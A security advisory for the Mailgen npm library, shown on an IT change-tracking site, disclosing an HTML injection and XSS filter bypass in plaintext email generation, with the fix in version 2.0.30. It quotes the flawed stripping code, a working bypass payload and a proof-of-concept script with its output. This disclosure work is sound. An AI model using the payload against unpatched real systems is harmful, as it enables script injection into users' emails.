Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 273/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 16:53 UTC Customize Public modeDiscuss ChangeIntel on Discord

Mailgen: HTML injection vulnerability in plaintext e-mails

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-j2xj-h7w5-r7vp

Published

# HTML Injection and XSS Filter Bypass in Plaintext Emails ### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt). ### Vulnerability Analysis The following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string. ```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, ''); // Decode HTML entities such as &copy; output = he.decode(output); // All done! return output; }; ``` The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email. A valid payload is: `<img<br> src=xyz onerror=alert(1)>`. ### Proof of Concept ```javascript var Mailgen = require('mailgen'); var mailGenerator = new Mailgen({ theme: 'default', product: { name: 'Mailgen', link: 'https://mailgen.js/' } }); var email = { body: { name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; // Generate the plaintext version of the e-mail var emailText = mailGenerator.generatePlaintext(email); // Optionally, preview the generated plaintext e-mail require('fs').writeFileSync('emailText.txt', emailText, 'utf8'); ``` **Resulting output file (`emailText.txt`):** ```html Hi John <img src=xyz onerror=alert(document.body.innerHTML)> Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved. ``` ### Mitigation The vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`. Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.

Source published
22 Sep 2025 18:03:47 UTC
Source modified
23 Sep 2025 20:50:37 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 16:53 UTC · 273 of 275 readable · 272 fully read · documentation 469/469 current